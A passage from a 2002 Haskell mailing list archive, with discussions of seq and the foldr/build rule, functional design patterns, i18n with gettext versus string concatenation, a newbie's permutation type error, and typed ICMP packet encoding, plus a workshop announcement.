in Haskell In-Reply-To: Message-ID: I watched with interest the discussion about the ravages of `seq`. In the old days, we protected uses of `seq` with a type class, to keep it at bay. There was no function instance (so no problem with the state monads, or lifting of functions in general), and the type class prevented interference with foldr/build. However... In defining Haskell 98 we made a conscious decision not to guard `seq` with a type class. The reasoning was as follows: + Space control is an important phase of programming, and `seq` provides a powerful mechanism for tweaking a program, to improve its space behavior. It should therefore be as easy as possible to experiment with adding `seq` in various places, including on function closures. - Haskell already had somewhat muddied semantics for types (both sums and products are lifted, and bottom is present in every type). It seemed as though a little more muddying was not a serious affair. Did we make the right decision? For Haskell 98: Yes. And I believe we made it with our eyes open. Will the next version of Haskell have something better. I hope so, but I fear not. First, I don't see much active research on what Haskell would look like with true unpointed types -- there are lots of practical issues to be addressed; second, the prevalence of things like unsafePerformIO (slogan: USPIO is NOT Haskell) seems to be growing, not diminishing, and again I don't see much active research on how to gain its benefits while containing its damage. True declarative programming is a delicate flower. Review the history of the 80's and early 90's. It was the conviction of the Lazy FP community to true declarativeness that led us all to reject proposal after proposal for state and efficient arrays, until finally Eugenio and Phil led us to the land of monads. Finally, as a result of the burning need we all felt, and of the high standards we all demanded, we could be as imperative as the best of them, without compromising the mathematical nature of the language. If this history teaches us anything, it should urge us all, and the new young blood in particular, not to go for quick fixes, or to compromise on the dream of a truly declarative language. Haskell 98 is a great language. The best on the planet today. But it's not perfection. Let's confront the problems face to face, and find the right way forward! John >>> And I'd really much rather we cleaned up the semantics of >>> seq---or better yet, fixed the problems with lazy evaluation which >>> make seq necessary in the first place. >> >> A general question: What is seq useful for, other than efficiency? > > seq can create a new, strict definition of a function from an existing > non-strict function. From Ralf.Laemmel@cwi.nl Wed May 15 19:13:22 2002 From: Ralf.Laemmel@cwi.nl (Ralf.Laemmel@cwi.nl) Date: Wed, 15 May 2002 20:13:22 +0200 (MEST) Subject: Functional design patterns (was: How to get functional software engineering experience?) Message-ID: Andrew J Bromage wrote: > On the other hand, it's an exciting time to do engineering in > declarative languages, because we can invent the design patterns and > discover what the good habits are as we go along. BTW, FP is older than OOP. So why are we so late :-) ? Joost Visser and I, we worked out a few maybe not so obvious functional programming patterns such as Success By Failure, Role Play, Rewrite Step, Keyhole Operation just to mention a few. By not so obvious I mean that they deal with generic programming rather than functional programming in general. http://www.cs.vu.nl/Strafunski/dp-sf/ We use a certain FORMAT for design patterns, and there is some modest analysis why this format is appropriate. Also, there is some discussion why design patterns would do good for functional programming. This might be interesting in the further process of accumulating design patterns for functional programming. I am in complete agreement with Jeffrey Palmer who wrote: > From the research I've done to date, functional programming provides > enough of a paradigm shift that there are significant new patterns/idioms I have the feeling that the FP community has a hard time getting started with design patterns. Part of the problem is that design patterns are inherently "vague" and this is maybe something the authors in our field do not like to consider. That is, if something is being written that is meant to document design experience for functional programming, it ends up being complex (say, "Stop programming this or that; you will definitely fall in love with Haskell if you can parse this article."). Another more technical part of the problem is that it is not obvious what format would be appropriate, especially because the driving ingredient of an OO design pattern is the class hierarchy or an object structure, and this does not make sense in a functional setting. Yet another problem is that design patterns are all about design and less about coding. Many challenges in functional programming are about coding, and just about coding. We might need a different understanding of what design patterns are because we would like to cover the rich set of programming idioms in functional programming. I feel tempted to say there aren't that many in OOP. I guess there are more reasons why there is no GoF book out yet for FP. But at least Jeffrey, Joost, and I, we are working on that :-) Jeffrey Palmer wrote, too: > To avoid any pattern debates: I personally believe that patterns are > especially useful for getting novices up to speed on concepts that > might not be readily apparent at first glance. Rather than treating > patterns as anything "special" in their own right, for me they're simply > a really convenient way of teaching people new and interesting concepts. Why do you say this if you want to AVOID a debate ;-) ? Design patterns are maybe convenient for teaching ... But they are ESSENTIAL to gather design experience, and to regulate the terminology in a field. They are also CRUCIAL for the interaction of design and programming in the implementation phase, AND for the idea of refactoring. Also, the idea of a design pattern catalogue is just a kind of SELF-CHECKING notion to address all concerns a programmer could possibly have. By self-checking I mean that the firm adherence to a well-designed format for a catalogue is the key. Ralf -- Dr.-Ing. Ralf Laemmel CWI & VU, Amsterdam, The Netherlands http://www.cwi.nl/~ralf/ http://www.cs.vu.nl/~ralf/ From jenglish@flightlab.com Wed May 15 20:43:54 2002 From: jenglish@flightlab.com (Joe English) Date: Wed, 15 May 2002 12:43:54 -0700 Subject: Functional design patterns (was: How to get functional software engineering experience?) In-Reply-To: References: Message-ID: <200205151943.g4FJhsS14950@dragon.flightlab.com> Ralf Laemmel wrote: > > Joost Visser and I, we worked out a few maybe not so obvious functional > programming pattern [...] > http://www.cs.vu.nl/Strafunski/dp-sf/ Neat! > I have the feeling that the FP community has a hard time getting started > with design patterns. I believe quite the opposite: there are plenty of FP design patterns in common use, it's just that FP'ers don't usually use the term "design patterns" to describe them. I'm thinking of things like catamorphisms, anamorphisms (aka folds/unfolds), monads and functors, "the zipper", and of course the various catalogues of polytypic routines. > Part of the problem is that design patterns are > inherently "vague" and this is maybe something the authors in our field > do not like to consider. That's the main difference between FP patterns and OO patterns. OO patterns tend to be informal, intuitive guidelines; and though some FP patterns are like this (e.g., "combinator library", "embedded domain-specific language"), the majority can be described rigorously. This gives them an added usefulness -- you can actually "calculate" with them. --Joe English jenglish@flightlab.com From d95mback@dtek.chalmers.se Wed May 15 20:58:36 2002 From: d95mback@dtek.chalmers.se (Martin =?ISO-8859-1?Q?Norb=E4ck?=) Date: 15 May 2002 21:58:36 +0200 Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: <20020514165603.23663.qmail@web14202.mail.yahoo.com> References: <20020514165603.23663.qmail@web14202.mail.yahoo.com> Message-ID: <1021492716.15257.5.camel@lexie> tis 2002-05-14 klockan 18.56 skrev anatoli: > Robert Ennals wrote: > > Surely that problem only arises if one insists on encoding all the rele= vant=20 > > information inside a string. >=20 > This is pretty much the only option, because translators > and programmers are different people. Translators can deal with > simple text files with one message string per line and not > much else. You can't hire a translation firm and tell them > "translate this Haskell module for me". >=20 > You can treat message strings as declarations in a specialised > language. This language can be typed, and you could theoretically > typecheck it against your Haskell program using specialised tools. > But translators need to see simple readable message strings. I played around with this some more. You can see some files at http://www.dtek.chalmers.se/~d95mback/gettext/ if you are interested. The use of unsafePerformIO may be unsafe here, I really haven't got a clue. When in doubt, use i18n instead of __ :) Output examples: martin@lexie:~/gettext$ LANG=3Dsv_SE ./Main Hej v=E4rlden! 1 Jedi trained I have. martin@lexie:~/gettext$ LANG=3Den_US ./Main Hello, world! I have trained 1 Jedi. Regards, Martin From ralf@cwi.nl Wed May 15 21:21:11 2002 From: ralf@cwi.nl (Ralf Lämmel) Date: Wed, 15 May 2002 13:21:11 -0700 (PDT) Subject: Functional design patterns (was: How to get functional software engineering experience?) In-Reply-To: <200205151943.g4FJhsS14950@dragon.flightlab.com> Message-ID: <20020515202111.41131.qmail@web13905.mail.yahoo.com> --- Joe English wrote > ... there are plenty of FP design patterns > in common use, it's just that FP'ers don't usually use the term > "design patterns" to describe them. I'm thinking of things > like catamorphisms, anamorphisms (aka folds/unfolds), monads > and functors, "the zipper", and of course the various catalogues > of polytypic routines. Almost agreed. But, I adhere to an extreme and pragmatic point of view here: A design pattern is only real if it is part of design pattern catalogue which in turn is formatted in a structured manner. IMO, it is misleading to confuse APIs, libraries, frameworks, catalogues of whatever routines with design patterns. I completely agree that all of the cited notions are worth design patterns. But I don't like to confuse notions such as this or that morphism, strictness annotation, monad transformation, modular programming, reactive programming or polytypic programming with the related design patterns I would like to see. To give a simple example, think of parser combinators. Does the mere combinator library of parsing combinators tell me how to write parsers? Not really! What are the patterns here? Here are few clumsy names: - Deal with a priority - Handle left recursion - Enforce non-nested notation - Separate out reusable syntax schemes - Use this or that naming convention - Integrate lexer - Integrate pre-processor - Define abstract syntax - Handle semantics-directed constructs - ... > That's the main difference between FP patterns and OO patterns. > OO patterns tend to be informal, intuitive guidelines; and > though some FP patterns are like this (e.g., "combinator library", > "embedded domain-specific language"), the majority can be > described rigorously. This gives them an added usefulness -- > you can actually "calculate" with them. Yes, that's nice, and we should be able to use that to the advantage of FP but this does not imply that all the other ingredients of a design pattern (tradeoffs, alternatives, ...), and the general format are not needed to claim a design pattern. Ralf ===== Dr. Ralf Laemmel CWI & VU Amsterdam http://www.cwi.nl/~ralf ralf@cwi.nl __________________________________________________ Do You Yahoo!? LAUNCH - Your Yahoo! Music Experience http://launch.yahoo.com From john@repetae.net Wed May 15 22:10:49 2002 From: john@repetae.net (John Meacham) Date: Wed, 15 May 2002 14:10:49 -0700 Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: <1021368880.22547.30.camel@caesar.safelogic.se> References: <20020514043736.12769.qmail@web14205.mail.yahoo.com> <1021368880.22547.30.camel@caesar.safelogic.se> Message-ID: <20020515211049.GA14415@momenergy.repetae.net> I wrote a printflike function which used existential types and a pretty simple class a while ago, although in retrospect i could have done it better with partial application (and pure haskell 98). http://homer.netmar.com/~john/computer/haskell/Format.hs John -- --------------------------------------------------------------------------- John Meacham - California Institute of Technology, Alum. - john@foo.net --------------------------------------------------------------------------- From andrew@bromage.org Thu May 16 01:12:01 2002 From: andrew@bromage.org (Andrew J Bromage) Date: Thu, 16 May 2002 10:12:01 +1000 Subject: How to get functional software engineering experience? In-Reply-To: <004c01c1fc07$22acb8c0$ae1ffea9@Standard> References: <004c01c1fc07$22acb8c0$ae1ffea9@Standard> Message-ID: <20020516001201.GB4176@smtp.alicorna.com> G'day all. On Wed, May 15, 2002 at 12:53:30PM +0100, Claus Reinke wrote: > Btw, I wouldn't subscribe to Andrew's opinion that "there isn't a lot of > functional (or even declarative) software engineering experience out > there.". Just to clarify: I meant to emphasise the _declarative_ part rather than the functional part. There are plenty of LISP engineers, for example. However, I stand by the rest of it, as far as crude generalisations go. There's a lot of functional _programming_ happening, but not very much _engineering_. I hope everyone understands the difference. Cheers, Andrew Bromage From ashley@semantic.org Thu May 16 01:58:01 2002 From: ashley@semantic.org (Ashley Yakeley) Date: Wed, 15 May 2002 17:58:01 -0700 Subject: State monads don't respect the monad laws in Haskell Message-ID: <200205160058.RAA07556@mail4.halcyon.com> At 2002-05-15 09:48, John Launchbury wrote: >Will the next version of Haskell have something better. I hope so, but I >fear not. Rename it "unsafeSeq"? No puns please... But I think breaking Monad laws etc. is a different kind of unsafeness from usPIO etc. -- Ashley Yakeley, Seattle WA unsafePerformIO is NOT Haskell! From andrew@bromage.org Thu May 16 02:56:28 2002 From: andrew@bromage.org (Andrew J Bromage) Date: Thu, 16 May 2002 11:56:28 +1000 Subject: Functional design patterns (was: How to get functional software engineering experience?) In-Reply-To: References: Message-ID: <20020516015628.GE4176@smtp.alicorna.com> G'day all. On Wed, May 15, 2002 at 08:13:22PM +0200, Ralf.Laemmel@cwi.nl wrote: > BTW, FP is older than OOP. So why are we so late :-) ? I know you meant it as an offhand remark, but I think there are two serious reasons why. The first one is that OOP and GUIs happened at around the same time and were found to be an excellent fit. To a great extent, one fed the other. So OOP really found its niche early. The second is that FP is like RISC in that it requires _other_ technology improvements to realise its benefits. RISC CPUs need better caches and better compilers than CISC CPUs in order to compete. Similarly, FP needed better compilers, better garbage collections, better type systems and better abstractions. > http://www.cs.vu.nl/Strafunski/dp-sf/ Great stuff! Can't wait to read it. > I have the feeling that the FP community has a hard time getting started > with design patterns. That's something I've noticed too. > Design patterns are maybe convenient for teaching ... > But they are ESSENTIAL to gather design experience, and to regulate > the terminology in a field. Absolutely. Design patterns are really just a way to try to understand engineering experience in a systematic way. To overuse the natural language analogy: If idioms are the pragmatics of a language, design patterns are the literary forms. Cheers, Andrew Bromage From mark@austrics.com.au Thu May 16 05:18:25 2002 From: mark@austrics.com.au (Mark Phillips) Date: Thu, 16 May 2002 13:48:25 +0930 Subject: Newbie attempts to generate permutations Message-ID: <3CE33311.50209@austrics.com.au> Hi, I have recently started learning Haskell and, in writing a HUGS module to generate permutations, have been told I have an error but I don't understand why. The module is: module Arrange where -- -- perms :: [a] -> [[a]] perms [] = [[]] perms (a:as) = concatMap (\b -> fst b:perms (snd b)) (del (a:as)) del :: [a] -> [(a,[a])] del [] = [] del (a:as) = (a,as):(map (\b -> (fst b,a:(snd b))) (del as)) and it comes back with error message: Type checking ERROR Arrange.hs:6 - Type error in application *** Expression : concatMap (\b -> fst b : perms (snd b)) (del (a : as)) *** Term : \b -> fst b : perms (snd b) *** Type : ([a],[a]) -> [[a]] *** Does not match : (a,[a]) -> [[a]] *** Because : unification would give infinite type But why does it say that the term "\b -> fst b : perms (snd b)" has type "([a],[a]) -> [[a]]"? perms requires a type "[a]" as input so "snd b" should be of type "[a]" but "fst b" should be allowed to be anything. What's going on? Any help would be much appreciated. Thanks, Mark. -- Dr Mark H Phillips Research Analyst (Mathematician) AUSTRICS - Smarter Scheduling Solutions - www.austrics.com Level 2, 50 Pirie Street, Adelaide SA 5000, Australia Phone +61 8 8226 9850 Fax +61 8 8231 4821 Email mark@austrics.com.au From mark@austrics.com.au Thu May 16 07:33:49 2002 From: mark@austrics.com.au (Mark Phillips) Date: Thu, 16 May 2002 16:03:49 +0930 Subject: Newbie attempts to generate permutations References: <3CE33311.50209@austrics.com.au> Message-ID: <3CE352CD.3070805@austrics.com.au> I've found out what was wrong. I should have written: perms (a:as) = concatMap (\b -> map ((:) (fst b)) (perms (snd b))) (del (a:as)) but I still don't understand why it had the error message it did. Ie, how did it infer the type of my lambda function to be "([a],[a]) -> [[a]]"? Cheers, Mark. Mark Phillips wrote: > Hi, > > I have recently started learning Haskell and, in writing a HUGS > module to generate permutations, have been told I have an error > but I don't understand why. > > The module is: > > module Arrange where > -- > -- > perms :: [a] -> [[a]] > perms [] = [[]] > perms (a:as) = concatMap (\b -> fst b:perms (snd b)) (del (a:as)) > > del :: [a] -> [(a,[a])] > del [] = [] > del (a:as) = (a,as):(map (\b -> (fst b,a:(snd b))) (del as)) > > > and it comes back with error message: > > Type checking > ERROR Arrange.hs:6 - Type error in application > *** Expression : concatMap (\b -> fst b : perms (snd b)) (del (a : as)) > *** Term : \b -> fst b : perms (snd b) > *** Type : ([a],[a]) -> [[a]] > *** Does not match : (a,[a]) -> [[a]] > *** Because : unification would give infinite type > > But why does it say that the term "\b -> fst b : perms (snd b)" has > type "([a],[a]) -> [[a]]"? > > perms requires a type "[a]" as input so "snd b" should be of type "[a]" > but "fst b" should be allowed to be anything. > > What's going on? > > Any help would be much appreciated. > > Thanks, > > Mark. > > -- Dr Mark H Phillips Research Analyst (Mathematician) AUSTRICS - Smarter Scheduling Solutions - www.austrics.com Level 2, 50 Pirie Street, Adelaide SA 5000, Australia Phone +61 8 8226 9850 Fax +61 8 8231 4821 Email mark@austrics.com.au From voigt@orchid.inf.tu-dresden.de Thu May 16 07:44:54 2002 From: voigt@orchid.inf.tu-dresden.de (Janis Voigtlaender) Date: Thu, 16 May 2002 08:44:54 +0200 Subject: State monads don't respect the monad laws in Haskell References: Message-ID: <3CE35566.3BBA84C4@tcs.inf.tu-dresden.de> John Launchbury wrote: > > I watched with interest the discussion about the ravages of `seq`. > > In the old days, we protected uses of `seq` with a type class, to keep it at > bay. There was no function instance (so no problem with the state monads, or > lifting of functions in general), and the type class prevented interference > with foldr/build. > ... Just a further remark: During discussion with Olaf about consequences of `seq` for foldr/build, respectively his type-inference based deforestation, I had the impression that there could very well be a function instance for `seq` not interfering with shortcut deforestation, provided this instance is restricted in the following way: class Eval a where seq :: a -> b -> b instance Eval d => Eval (c -> d) I have no idea what would be a semantic justification for this instance declaration, except that it allows use of `seq` on at least some function types, but seems to outlaw all the critical cases where use of `seq` falsifies the foldr/build-rule. -- Janis Voigtlaender http://wwwtcs.inf.tu-dresden.de/~voigt/ mailto:voigt@tcs.inf.tu-dresden.de From pk@cs.tut.fi Thu May 16 07:48:09 2002 From: pk@cs.tut.fi (Kellom{ki Pertti) Date: Thu, 16 May 2002 09:48:09 +0300 Subject: Functional design patterns (was: How to get functional software engineering experience?) In-Reply-To: ; from Ralf.Laemmel@cwi.nl on Wed, May 15, 2002 at 08:13:22PM +0200 References: Message-ID: <20020516094809.A14158@cs.tut.fi> On Wed, May 15, 2002 at 08:13:22PM +0200, Ralf.Laemmel@cwi.nl wrote: > Yet another problem is that design patterns are all about design > and less about coding. Many challenges in functional programming are about > coding, and just about coding. This is something I've chatted about with a colleague of mine. When one deals with objects and mutable state, one can build models of a system at various levels of abstraction, and meaningfylly relate the models to each other with data refinement. What would be the corresponding notions in functional programming? It is certainly true that functional programs are often much more abstract than their imperative counterparts, but even in my relatively small compiler project I have already felt a need for a compact design notation. Another issue is that when one uses a functional language to design something that is inherently stateful, one would really want to see the state explicitly at some level of abstraction. Would people recommend something like UML for doing this? -- pertti From tweed@compsci.bristol.ac.uk Thu May 16 09:46:26 2002 From: tweed@compsci.bristol.ac.uk (D. Tweed) Date: Thu, 16 May 2002 09:46:26 +0100 (BST) Subject: What does FP do well? (was How to get functional software engineering experience?) In-Reply-To: Message-ID: On Wed, 15 May 2002, Hal Daume III wrote: > I tend to agree. I keep meaning for experimental purposes to define a > list type called AList or something which is syntactically identical to > lists (i.e., you can use the familiar (:) and [] operators/sugar), but > gets preprocessed out as actually being implemented with an array with a > pointer to the "current" element. Especially if we use unboxed types for > such a thing, I imagine that on many applications this would give a boost > in performance. As a pointer, I vagueley recall Phil Wadler's (his homepage currently seems to be http://www.research.avayalabs.com/user/wadler/), way back in something like 1984, was looking at something like this. The title was something like "Listlessness is better than laziness". I never actually read a copy, and don't know where you'd get one from, but if you are thinking about this sort of thing semi-seriously it sounds like somehting worth consulting. HTH ___cheers,_dave_________________________________________________________ www.cs.bris.ac.uk/~tweed/ | `It's no good going home to practise email:tweed@cs.bris.ac.uk | a Special Outdoor Song which Has To Be work tel:(0117) 954-5250 | Sung In The Snow' -- Winnie the Pooh From Robert.Ennals@cl.cam.ac.uk Thu May 16 09:50:47 2002 From: Robert.Ennals@cl.cam.ac.uk (Robert Ennals) Date: Thu, 16 May 2002 09:50:47 +0100 Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: Your message of Tue, 14 May 2002 09:56:03 -0700. <20020514165603.23663.qmail@web14202.mail.yahoo.com> Message-ID: > Robert Ennals wrote: > > Surely that problem only arises if one insists on encoding all the relevant > > information inside a string. > > This is pretty much the only option, because translators > and programmers are different people. Translators can deal with > simple text files with one message string per line and not > much else. You can't hire a translation firm and tell them > "translate this Haskell module for me". > > You can treat message strings as declarations in a specialised > language. This language can be typed, and you could theoretically > typecheck it against your Haskell program using specialised tools. > But translators need to see simple readable message strings. I don't really see what makes a string such as "I have %. %. %.." [where the user has to work out what the substrings are] any harder to deal with than "I have " ++ action ++ " " ++ number ++ " " ++ whatas other from the fact that the former is what C does. A translator doesn't need to know Haskell. They just need to know that, when, in the messages module they see englishword = "some string" they put the translation of the word into the string. And if they see a message like msgname part otherpart = "string " ++ part ++ " string" ++ otherpart They change the strings, and reorder the parts to make it a sensible sentence in the target language. AFAICS the only reason to use printf strings is because that is what some people are used to, not because it is sensible system to be using. i18n is a useful hack to retrofit onto the C printf system, but I think it would be a backward step for Haskell. -Rob From ricardo@sip.ucm.es Thu May 16 10:48:14 2002 From: ricardo@sip.ucm.es (Ricardo Pe~na) Date: Thu, 16 May 2002 11:48:14 +0200 Subject: Second IFL 2002 announcement Message-ID: <3CE3805E.1A7052B9@sip.ucm.es> (Apologies for multiple postings) ============================================================ IFL 2002 14th International Workshop on the IMPLEMENTATION OF FUNCTIONAL LANGUAGES Madrid Spain September 16 - 18, 2002 ============================================================= Important dates --------------- Registration deadline: July 30th, 2002 Submission deadline : August 26th, 2002 further details : http://dalila.sip.ucm.es/ifl02 ============================================================= Scope of IFL 2002 ----------------- The aim of the workshop is to bring together researchers and users actively engaged in the implementation and application of functional programming languages to discuss results and new directions of research. The workshop is intended to provide an open forum for researchers who wish to present and discuss new ideas and concepts, work in progress, preliminary results etc. related primarily but not exclusively to the implementation of functional or function-based languages. A not necessarily exhaustive list of topics includes language concepts type checking compilation techniques (abstract) interpretation automatic program generation (abstract) machine architectures array processing concurrent/parallel programming and program execution heap management runtime profiling and performance measurements debugging and tracing verification of functional programs tools and programming techniques Contributions on applications of functional programming, e.g., in teaching, or on theoretical work in any of the above areas are also welcome. Contributions ------------- All attendees are encouraged to submit papers to be published in the draft proceedings and to give presentations at the workshop. Submitted papers must be written in English, conform to the LNCS format (available at: http://www.springer.de/comp/lncs/authors.html) and not exceed 16 pages. Papers should be submitted by August 26th as postscript or pdf files using the submission page of the workshop accessible through http://dalila.sip.ucm.es/ifl02. After the workshop, we intend to publish a high-quality subset of contributions in the Springer LNCS series. All speakers attending the workshop are invited to submit a paper. Papers for the LNCS proceedings will be refereed according to normal conference standards. Ricardo Pe~na (IFL 2002 Organizing Committee Chairman) Departamento de Sistemas Informaticos y Programacion Facultad de Informatica Universidad Complutense de Madrid, 28040 MADRID e-mail: ricardo@sip.ucm.es Ph: (+ 34) 91 394 4313 FAX: (+ 34) 91 394 4602 http://dalila.sip.ucm.es/~ricardo From d95mback@dtek.chalmers.se Thu May 16 14:06:55 2002 From: d95mback@dtek.chalmers.se (Martin =?ISO-8859-1?Q?Norb=E4ck?=) Date: 16 May 2002 15:06:55 +0200 Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: References: Message-ID: <1021554416.13666.102.camel@caesar.safelogic.se> tor 2002-05-16 klockan 10.50 skrev Robert Ennals: > I don't really see what makes a string such as=20 >=20 > "I have %. %. %.." [where the user has to work out what the substrings = are] >=20 > any harder to deal with than >=20 > "I have " ++ action ++ " " ++ number ++ " " ++ whatas >=20 > other from the fact that the former is what C does. Because in one case you just need to change the string, which is in a database separate from the program, in a standard format (po). We could have some other syntaxes which makes things clearer, like printf_named "I have %action; %number; %whatas;." [("action","trained"),("number", show 1), ("whatas", "Jedi")] In the other case you need to change the program, and recompile. So in the second case you need one compiled program for every language you support. If your volonteer translators have to compile the program as well, you might not get any translations at all due to the high barrier compiling is. > AFAICS the only reason to use printf strings is because that is what some= =20 > people are used to, not because it is sensible system to be using. I have experience with different systems for translation. If you translate a number of programs (like I've done), you come to appreciate that they use the same system. Gettext is the by far most used system, and it has a lot of nice properties, like the ability to translate an application without having to recompile it and good tool support. > i18n is a useful hack to retrofit onto the C printf system, but I think i= t=20 > would be a backward step for Haskell. Since I've never seen any i18n systems for Haskell, everything would be a step forward. Regards, Martin --=20 Martin Norb=E4ck d95mback@dtek.chalmers.se =20 Kapplandsgatan 40 +46 (0)708 26 33 60 =20 S-414 78 G=D6TEBORG http://www.dtek.chalmers.se/~d95mback/ SWEDEN OpenPGP ID: 3FA8580B From simonpj@microsoft.com Thu May 16 14:11:10 2002 From: simonpj@microsoft.com (Simon Peyton-Jones) Date: Thu, 16 May 2002 06:11:10 -0700 Subject: Dependent Types Message-ID: <1113DDB24D4A2841951BFDF86665EE1901041F0D@RED-MSG-10.redmond.corp.microsoft.com> | Here's a bit of background I managed to dig up: |=20 http://www.mail-archive.com/haskell@haskell.org/msg05160.html | It appears that a change to the monomorphism=20 | restriction to match Hugs's behaviour was considered for=20 | Haskell 98, but it looks like it never made it into the report=20 | (for what reason I'm not sure - the arguments in favour of the=20 | change look fairly compelling). There was a bit of to and fro, but I ended up deciding not to do anything: http://www.mail-archive.com/haskell@haskell.org/msg03293.html Simon From kff@it.kth.se Thu May 16 14:37:38 2002 From: kff@it.kth.se (Karl-Filip Faxen) Date: Thu, 16 May 2002 15:37:38 +0200 Subject: What does FP do well? (was How to get functional software engineering experience?) In-Reply-To: Your message of Thu, 16 May 2002 09:46:26 +0100. Message-ID: <200205161337.g4GDbdp19222@mail2.it.kth.se> Hi! The listlessness stuff is a precursor to deforrestation, so it replaces lists by (fewer lists and) scalars. I do not think there are any arrays involved. The most important property for being able to convert a list to an array is that there should never be two cons cells with the same tail (cdr). A somewhat stronger requirement is that the spine of the list can not be shared. Then there are the representation oriented conditions: For each (:), [] and case over lists in the program, it has to work over arrays or over linked lists or else the linked list representation and the array representation must be distinguishable at run-time. That's about it. But what I really meant is, if I may rephrase it, that imperative programs might often be both faster and harder to write because they embed more information about the abblication domain. That is, if you code in C and want an array, you must specify its size, so you have to think about your program and figure out that you only need 'x' items here, wheras in Haskell you'd use a list and never have to think about what the upper bound on the length of the list is. Cheers, /kff From lisper@it.kth.se Thu May 16 15:23:31 2002 From: lisper@it.kth.se (Bjorn Lisper) Date: Thu, 16 May 2002 16:23:31 +0200 (MET DST) Subject: What does FP do well? (was How to get functional software engineering experience?) In-Reply-To: <200205161337.g4GDbdp19222@mail2.it.kth.se> (message from Karl-Filip Faxen on Thu, 16 May 2002 15:37:38 +0200) References: <200205161337.g4GDbdp19222@mail2.it.kth.se> Message-ID: <200205161423.QAA07496@ripper.it.kth.se> Karl-Filip: >But what I really meant is, if I may rephrase it, that imperative >programs might often be both faster and harder to write because they >embed more information about the abblication domain. That is, if you >code in C and want an array, you must specify its size, so you have to >think about your program and figure out that you only need 'x' items >here, wheras in Haskell you'd use a list and never have to think about >what the upper bound on the length of the list is. Yes indeed. But sometimes the length of a list being returned from a function can be a simple function of the function arguments (or the sizes of the arguments), think of map for instance. In such cases, a static program analysis can sometimes find the length function. If we know thee functions for all list-producing functions in a closed program, then the lists could be represented by arrays rather than linked structures. I know Christoph Herrmann worked on such a program analysis some years ago. Also, I think Manuel Hermenegildo has done this for some logic language. Could sized types be used for this purpose? (I must find myself some time to read Lars Pareto's PhD thesis...) Björn Lisper From Jon.Fairbairn@cl.cam.ac.uk Thu May 16 16:45:28 2002 From: Jon.Fairbairn@cl.cam.ac.uk (Jon Fairbairn) Date: Thu, 16 May 2002 16:45:28 +0100 Subject: Dependent Types In-Reply-To: Your message of "Sun, 12 May 2002 20:22:11 BST." Message-ID: <5486.1021563928@cl.cam.ac.uk> "Dominic Steinitz" wrote: > I've managed to crack something that always annoyed me when I used to d= o > network programming. [. . .] > = > Suppose I want to send an ICMP packet. The first byte is the type and t= he > second byte is the code. Furthermore, the code depends on the type. Now= you > know at compile time that you can't use codes for one type with a diffe= rent > type. However, in Pascal (which is what I used to use) you only seemed = to > be > able to carry out run time checks. I'm not sure I understand your problem. I don't see what's wrong with the following approach, which is Haskell 98. The type byte is coded as the type of the packet. Excuse the perhaps ideosyncratic style ... (in particular, I'm expecting people to use import qualified with this). module ICMP where data Type =3D Redirect RedirectData | TimeExceeded TimeData {- so you get an alternative for each of the packet types -} instance Enum Type where fromEnum (Redirect _) =3D 5 fromEnum (TimeExceeded _) =3D 11 {- we can't derive Enum for ICMP.Type, because it has non-nullary constructors. That just makes it a bit more tedious One could provide a class "code" with code:: t -> Int instead of fromEnum -} {- now we define individual record types for each of the different ICMP types -} data RedirectData =3D RedirectData {redirectCode:: RedirectCode, ip_addr:: Int, -- whatever redirectData:: [Int]} -- or whatever data RedirectCode =3D RedirNet | RedirHost | RedirNetToS | RedirHostToS deriving Enum data TimeData =3D TimeData {timeCode:: TimeExceededCode, timeData:: [Int]} -- or whatever data TimeExceededCode =3D ExcTTL | ExcFragTime deriving Enum {- Since Haskell 98 doesn't have MPTCs, if we want to encode packets as anything other than [Int] we'd have to define more classes. Encode serves as an example. -} = class Encode t where encode:: t -> [Int] instance Encode Type where encode p@(Redirect d) =3D fromEnum p: encode d encode p@(TimeExceeded d) =3D fromEnum p: encode d instance Encode RedirectData where encode d =3D fromEnum (redirectCode d): ip_addr d: redirectData d instance Encode TimeData where encode d =3D fromEnum (timeCode d): 0: timeData d so one can go = encode (Redirect (RedirectData RedirNet 0 [0])) and get [5,0,0,0], but = encode (TimeExceeded (TimeData RedirNet 0 [0])) gives an error, as one would hope. What am I missing? Cheers, J=F3n -- = J=F3n Fairbairn Jon.Fairbairn@cl.cam.ac.u= k 31 Chalmers Road jf@cl.cam.ac.uk Cambridge CB1 3SZ +44 1223 570179 (after 14:00 only, please!) From john@launchbury.org Thu May 16 17:58:07 2002 From: john@launchbury.org (John Launchbury) Date: Thu, 16 May 2002 09:58:07 -0700 Subject: State monads don't respect the monad laws in Haskell In-Reply-To: <3CE35566.3BBA84C4@tcs.inf.tu-dresden.de> Message-ID: Yes. Let me be clear. It is not the fact that `seq` operates on functions that breaks foldr/build: it is the fact that `seq` claims to be parametrically polymorphic when in fact it is not. The parametricity result is weakened to the point that the foldr/build proof no longer applies, and a counter example can be constructed, viz. head = foldr const undefined one = build (\c n -> n `seq` c 1 n) result = head one The one definition looks fine as the body to build is sufficiently polymorphic, but that only because `seq` is lying. John >> I watched with interest the discussion about the ravages of `seq`. >> >> In the old days, we protected uses of `seq` with a type class, to keep it at >> bay. There was no function instance (so no problem with the state monads, or >> lifting of functions in general), and the type class prevented interference >> with foldr/build. >> ... > > Just a further remark: During discussion with Olaf about consequences of > `seq` for foldr/build, respectively his type-inference based > deforestation, I had the impression that there could very well be a > function instance for `seq` not interfering with shortcut deforestation, > provided this instance is restricted in the following way: > > class Eval a where seq :: a -> b -> b > > instance Eval d => Eval (c -> d) > > I have no idea what would be a semantic justification for this instance > declaration, except that it allows use of `seq` on at least some > function types, but seems to outlaw all the critical cases where use of > `seq` falsifies the foldr/build-rule. > > > -- > Janis Voigtlaender From hugs-users-admin@haskell.org Thu May 16 18:35:02 2002 From: hugs-users-admin@haskell.org (hugs-users-admin@haskell.org) Date: Thu, 16 May 2002 13:35:02 -0400 (EDT) Subject: Your message to Hugs-Users awaits moderator approval Message-ID: <20020516173502.3419C42221B@www.haskell.org> Your mail to 'Hugs-Users' with the subject Meeting notice Is being held until the list moderator can review it for approval. The reason it is being held: Message body is too big: 126883 bytes but there's a limit of 40 KB Either the message will get posted to the list, or you will receive notification of the moderator's decision. From Joost.Visser@cwi.nl Thu May 16 18:42:46 2002 From: Joost.Visser@cwi.nl (Joost Visser) Date: Thu, 16 May 2002 19:42:46 +0200 Subject: Functional design patterns (was: How to get functional software engineering experience?) 